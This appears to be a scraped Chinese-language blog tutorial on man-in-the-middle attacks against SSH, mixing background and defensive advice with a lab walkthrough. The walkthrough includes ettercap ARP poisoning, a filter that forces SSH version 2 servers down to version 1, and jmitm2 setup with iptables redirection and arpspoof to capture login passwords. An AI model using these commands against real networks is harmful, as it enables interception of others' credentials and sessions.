SSH V2的中間人攻擊 黑客攻擊方式 MITM攻擊 www.dumiaotech.com

admin

SSH V2的中間人攻擊 黑客攻擊方式 MITM攻擊 www.dumiaotech.com

中間人攻擊（Man-in-the-MiddleAttack，簡稱“MITM攻擊”）中間人攻擊很早就成為了黑客常用的一種古老的攻擊手段，并且一直到今天還具有極大的擴展空間。

在網絡安全方面，MITM攻擊的使用是很廣泛的，曾經猖獗一時的SMB會話劫持、DNS欺騙等技術都是典型的MITM攻擊手段。在黑客技術越來越多的運用于以獲取經濟利益為目標的情況下時，MITM攻擊成為對網銀、網游、網上交易等最有威脅并且最具破壞性的一種攻擊方式。
要防范MITM攻擊，可以將一些機密信息進行加密后再傳輸，這樣即使被“中間人”截取也難以破解，另外，有一些認證方式可以檢測到MITM攻擊。

至于局域網內各種各樣的會話劫持（局域網內的代理除外），因為它們都要結合嗅探以及欺騙技術在內的攻擊手段，必須依靠ARP和MAC做基礎，所以網管應該使用交換式網絡（通過交換機傳輸）代替共享式網絡（通過集線器傳輸），這可以降低被竊聽的機率，當然這樣并不能根除會話劫持，還必須使用靜態ARP、捆綁MAC+IP等方法來限制欺騙，以及采用認證方式的連接等。
但是對于“代理中間人攻擊”而言，以上方法就難以見效了，因為代理服務器本來就是一個“中間人”角色，攻擊者不需要進行任何欺騙就能讓受害者自己連接上來，而且代理也不涉及MAC等因素，所以一般的防范措施都不起作用。
除非你是要干壞事，或者IP被屏蔽，或者天生對網絡有著恐懼，否則還是不要整天找一堆代理來隱藏自己了，沒必要的。常在河邊走，即使遇上做了手腳的代理也難察覺。

OpensshOpenSSH 是 SSH （Secure SHell） 協議的免費開源實現。SSH協議族可以用來進行遠程控制， 或在計算機之間傳送文件。而實現此功能的傳統方式，如telnet(終端仿真協議)、 rcp ftp、 rlogin、rsh都是極為不安全的，并且會使用明文傳送密碼。OpenSSH提供了服務端后臺程序和客戶端工具，用來加密遠程控件和文件傳輸過程的中的數據，并由此來代替原來的類似服務。
OpenSSH是使用SSH透過計算機網絡加密通訊的實現。它是取代由SSH Communications Security所提供的商用版本的開放源代碼方案。目前OpenSSH是OpenBSD的子計劃。
OpenSSH常常被誤認以為與OpenSSL有關聯，但實際上這兩個計劃的有不同的目的，不同的發展團隊，名稱相近只是因為兩者有同樣的軟件發展目標──提供開放源代碼的加密通訊軟件。
OpenSSH 支持 SSH 協議的版本 1.3、1.5、和 2。自從 OpenSSH 的版本2.9以來，默認的協議是版本2，該協議默認使用 RSA 鑰匙。de:OpenSSH en:OpenSSH es:OpenSSH fr:OpenSSH it:OpenSSH ja:OpenSSH lv:OpenSSH nl:OpenSSH pl:OpenSSH sv:OpenSSH
低版本的攻擊

例如這個服務器的SSH版本

版本很低SSH-1.5-OpenSSH_6.0p1 可以直接ARP不？
啟動ETTERCAP 進行ARP

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33

root@Dis9Team:~# ettercap -T -M arp // // -q -i eth5 ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA Listening on eth5... (Ethernet)   eth5 ->    08:00:00:00:00:03           5.5.5.3     255.255.255.0 SSL dissection needs a valid 'redir_command_on' script in the etter.conf file Privileges dropped to UID 0 GID 0...   28 plugins   39 protocol dissectors   53 ports monitored 7587 mac vendor fingerprint 1698 tcp OS fingerprint 2183 known services Randomizing 255 hosts for scanning... Scanning the whole netmask for 255 hosts... * |==================================================>| 100.00 % 2 hosts added to the hosts list... ARP poisoning victims: GROUP 1 : ANY (all the hosts in the list) GROUP 2 : ANY (all the hosts in the list) Starting Unified sniffing... Text only Interface activated... Hit 'h' for inline help

登錄SSH

1 2 3 4 5 6 7

<pre>brk $ ssh 5.5.5.6 -p 2222 -1 brk@5.5.5.6<SCRIPT type=text/javascript> /* <![CDATA[ */ (function(){try{var s,a,i,j,r,c,l=document.getElementById("__cf_email__");a=l.className;if(a){s='';r=parseInt(a.substr(0,2),16);for(j=2;a.length-j;j+=2){c=parseInt(a.substr(j,2),16)^r;s+=String.fromCharCode(c);}s=document.createTextNode(s);l.parentNode.replaceChild(s,l);}}catch(e){}})(); /* ]]> */ </SCRIPT>'s password: Last login: Sat Nov 17 19:30:29 2012 from 5.5.5.1

成功ARP到密碼

SshmitmSshmitm 是Dsniff自帶的一個具有威脅的工具之一。如果你是在運行dnsspoof來偽造實際機器主機名，那么sshmitm可以重新定向到你的機器的ssh流量。因為它支持到ss1，所以這也是我們需要考慮把ssh升級到2的原因。
Sshmitm的工作原理主要是dnsspoof工具使我們攔截到達另一臺機器的ssh連接。只需要在端口22上啟動Sshmitm(這里我們可以使用-p選項來改變所使用的端口號)，并設置它來中繼達到真實主機的連接。
sshmitm可以對某個SSH會話發動MITM（Monkey-In-The-Middle）攻擊（注意，這里的Monkey是Dsniff包readme文件中的解析，而不是常見的Man，這種區別實際上是沒有“區別”，也許就是因為Dsniff以猴子做為其標志的原因吧）。
通過sshmitm，攻擊者可以捕獲某個SSH會話的登錄口令，甚至可以“劫持”整個會話過程（攻擊者在其主機上通過OpenSSL提供的代碼生成偽造的證書，以欺騙目標主機，使之相信就是有效的通信另一方，結果是，攻擊者主機成了SSH安全通道的中轉站）。
目前，對于SSH1，這種MITM攻擊已經構成了嚴重的威脅。
MITM并不是一個新的概念，它是一種對認證及密鑰交換協議進行攻擊的有效手段。通常，在SSH會話中，服務器首先會給客戶端發送其公鑰，嚴格來說，這種密鑰的交換和管理應該是基于X.509這種公鑰基礎設施（PKI）的，但因為PKI本身的復雜性導致真正應用了這種公鑰管理機制的服務器非常少，所以，通常情況下，服務器只是簡單的自己生成密鑰對，并將其中的公鑰發送給客戶端。
客戶端收到服務器的公鑰后，必須獨立驗證其有效性。通常，使用SSH的客戶端會由sysadmin或其它賬號來維護一個“密鑰/主機名”的本地數據庫，當首次與某個SSH服務器建立連接時，客戶端可能被事先配制成自動接受并記錄服務器公鑰到本地數據庫中，這就導致可能發生MITM攻擊。其實，建立加密的安全網絡都存在一個基本的問題，無論如何，某種程度上講，加密通道的初始化連接總是建立在一個存在潛在危險的網絡之上的，如果密鑰交換機制并不健全，或者是根本就被忽略了，那之后建立起來的加密通道也形同虛設了。按道理講，SSH之類的協議本身是沒有問題的，只要嚴格按照標準來建立加密及密鑰交換管理機制（例如PKI），攻擊者是根本不會有可乘之機的，可問題就在于，許多時候，為了使用上的方便，“復雜”的保證技術就被人們拋之腦后了。
當然，一種協議如果其可用性并不很強，也許本身就是問題，現在，SSH2較SSH1已經有了較大改進。具體來說，在某個SSH連接建立之初，如果客戶端收到一個未知的服務器端公鑰，OpenSSH會有下列配置處理方式：

• 自動增加該公鑰到本地數據庫；
• 發出下面列出的警告消息，并詢問用戶是添加該公鑰還是放棄連接；
  ————————————————————————
  – WARNING: HOST IDENTIFICATION HAS CHANGED! –
  ————————————————————————
  IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
  Someone could be eavesdropping on you right now (man-in-the-middle attack)! It is also possible that the host-key has just been changed. Please contact your system administrator.
• 拒絕接受。如果客戶端對未知公鑰的驗證被取消了（或者客戶端配置本身已經旁路掉了這個過程），或者如果客戶端保存已知主機CA證書的緩存被“毒害”了，就很有可能導致攻擊者發起MITM攻擊。從根本上講，要防止MITM方式的攻擊，用戶自身加強安全措施才是關鍵，例如，密鑰的初始交換也許可以換做其它方式（比如軟盤），嚴格管理本地的證書列表數據庫，對于出現的告警提示，應該仔細甄別，防止第三方的欺騙行為。
  

降級MITM攻擊

降級MITM攻擊允許攻擊者迫使客戶端和/或服務器使用不太安全的協議或功能集合，這些協議或者功能是為了向下兼容舊版本的客戶端/服務器才提供的。有時，客戶端支持訪問包含不同特征或同一特征不同版本的服務器。這樣，客戶端和服務器要經常協商應該使用何種特征和何種版本的特征。例如，許多Secure Shell（SSH）客戶端同時支持SSH協議的 v1版本和v2版本，以及幾種不同的加密密碼。（SSH是一種加密的網絡協議，用于連接提供命令行訪問方式的計算機。）v1版本含有協議缺陷，允許攻擊者看到客戶端與服務器交換的正常加密數據。
出于這個原因，大多數人使用SSH v2版。
然而，由于向下兼容的原因，許多服務器和客戶端依然支持SSH v1版。利用MITM攻擊，攻擊者可以告知服務器和客戶端在開始加密前使用易受攻擊的SSH v1協議。為了阻止此類攻擊，大多數SSH客戶端和服務器只能夠設置成使用SSH v2協議。一種測試客戶端是否支持此規則的簡單方法，是代理網絡流量并告知客戶端使用舊版本的協議。
ETTERCAP的ARP規則里面有

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42

<pre>root@Dis9Team:/usr/share/ettercap# cat etter.filter.ssh ############################################################################ #                                                                          # #  ettercap -- etter.filter -- filter source file                          # #                                                                          # #  Copyright (C) ALoR & NaGA                                               # #                                                                          # #  This program is free software; you can redistribute it and/or modify    # #  it under the terms of the GNU General Public License as published by    # #  the Free Software Foundation; either version 2 of the License, or       # #  (at your option) any later version.                                     # #                                                                          # ############################################################################ ## # #   This filter will substitute the SSH server response from SSH-1.99 to #   SSH-1.51, so if the server supports both ssh1 and ssh2 we will force #   it to use ssh1... <IMG class=wp-smiley alt=;) src=http://www.2cto.com/uploadfile/2012/1219/20121219105154693.gif" height=auto jQuery172042555347942556737="28" old_width="24" old_height="24">   #   server response :    SSH-2.00   only ssh2 supported #                        SSH-1.99   both ssh1 and ssh2 supported #                        SSH-1.51   only ssh1 supported ## if (ip.proto == TCP) {    if (tcp.src == 22) {       if ( replace("SSH-1.99", "SSH-1.51") ) {          msg("[SSH Filter] SSH downgraded from version 2 to 1\n");       } else {          if ( search(DATA.data, "SSH-2.00") ) {             msg("[SSH Filter] Server supports only SSH version 2\n");          } else {             if ( search(DATA.data, "SSH-1.51") ) {                msg("[SSH Filter] Server already supports only version 1\n");             }          }       }    } } root@Dis9Team:/usr/share/ettercap#

SSH 1.9是不能被ARP的，只有SSH-1.5，如果能支持1.9 和 1.5，那么吧1.9替換為1.5版本進行ARP
2.0版本的攻擊如果是2.0呢？

1 2 3 4

<pre>brk $ nc -vv 5.5.5.6 22 Connection to 5.5.5.6 22 port [tcp/ssh] succeeded! SSH-2.0-OpenSSH_4.6

可以用jmitm進行ARP攻擊

1 2 3 4 5

<pre>root@Dis9Team:/pen# wget http://www.david-guembel.de/uploads/media/jmitm2-0.1.0.tar.gz root@Dis9Team:/pen# tar xf jmitm2-0.1.0.tar.gz root@Dis9Team:/pen# cd jmitm2-0.1.0/ root@Dis9Team:/pen/jmitm2-0.1.0#

需要編輯兩個文件

1 2	<pre>root@Dis9Team:/pen/jmitm2-0.1.0# nano bin/conf/server.xml

和目標主機

root@Dis9Team:/pen/jmitm2-0.1.0# nano bin/runm.sh發送數據包欺騙網關 并且轉發端口

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20

<pre>root@Dis9Team:~# echo 1 > /proc/sys/net/ipv4/ip_forward root@Dis9Team:~# iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT root@Dis9Team:~# iptables -A FORWARD -j ACCEPT root@Dis9Team:~# arpspoof -i eth5 -t 5.5.5.6 5.5.5.0 8:0:0:0:0:3 8:0:0:0:0:6 0806 42: arp reply 5.5.5.0 is-at 8:0:0:0:0:3 8:0:0:0:0:3 8:0:0:0:0:6 0806 42: arp reply 5.5.5.0 is-at 8:0:0:0:0:3 8:0:0:0:0:3 8:0:0:0:0:6 0806 42: arp reply 5.5.5.0 is-at 8:0:0:0:0:3 8:0:0:0:0:3 8:0:0:0:0:6 0806 42: arp reply 5.5.5.0 is-at 8:0:0:0:0:3 8:0:0:0:0:3 8:0:0:0:0:6 0806 42: arp reply 5.5.5.0 is-at 8:0:0:0:0:3 8:0:0:0:0:3 8:0:0:0:0:6 0806 42: arp reply 5.5.5.0 is-at 8:0:0:0:0:3 8:0:0:0:0:3 8:0:0:0:0:6 0806 42: arp reply 5.5.5.0 is-at 8:0:0:0:0:3 8:0:0:0:0:3 8:0:0:0:0:6 0806 42: arp reply 5.5.5.0 is-at 8:0:0:0:0:3 8:0:0:0:0:3 8:0:0:0:0:6 0806 42: arp reply 5.5.5.0 is-at 8:0:0:0:0:3 8:0:0:0:0:3 8:0:0:0:0:6 0806 42: arp reply 5.5.5.0 is-at 8:0:0:0:0:3 8:0:0:0:0:3 8:0:0:0:0:6 0806 42: arp reply 5.5.5.0 is-at 8:0:0:0:0:3 8:0:0:0:0:3 8:0:0:0:0:6 0806 42: arp reply 5.5.5.0 is-at 8:0:0:0:0:3 8:0:0:0:0:3 8:0:0:0:0:6 0806 42: arp reply 5.5.5.0 is-at 8:0:0:0:0:3 8:0:0:0:0:3 8:0:0:0:0:6 0806 42: arp reply 5.5.5.0 is-at 8:0:0:0:0:3 8:0:0:0:0:3 8:0:0:0:0:6 0806 42: arp reply 5.5.5.0 is-at 8:0:0:0:0:3 8:0:0:0:0:3 8:0:0:0:0:6 0806 42: arp reply 5.5.5.0 is-at 8:0:0:0:0:3

當對方鏈接SSH的時候 成功獲得密碼

可以會出現SSH密匙不對 如果目標已經鏈接過

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @    WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!     @ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY! Someone could be eavesdropping on you right now (man-in-the-middle attack)! It is also possible that a host key has just been changed. The fingerprint for the DSA key sent by the remote host is dc:77:1e:b0:1b:a1:7c:71:33:1f:75:32:fe:e5:2e:28. Please contact your system administrator. Add correct host key in /home/brk/.ssh/known_hosts to get rid of this message. Offending DSA key in /home/brk/.ssh/known_hosts:57 remove with: ssh-keygen -f "/home/brk/.ssh/known_hosts" -R 5.5.5.6 DSA host key for 5.5.5.6 has changed and you have requested strict checking. Host key verification failed. brk $

不過這東西的局限性太大！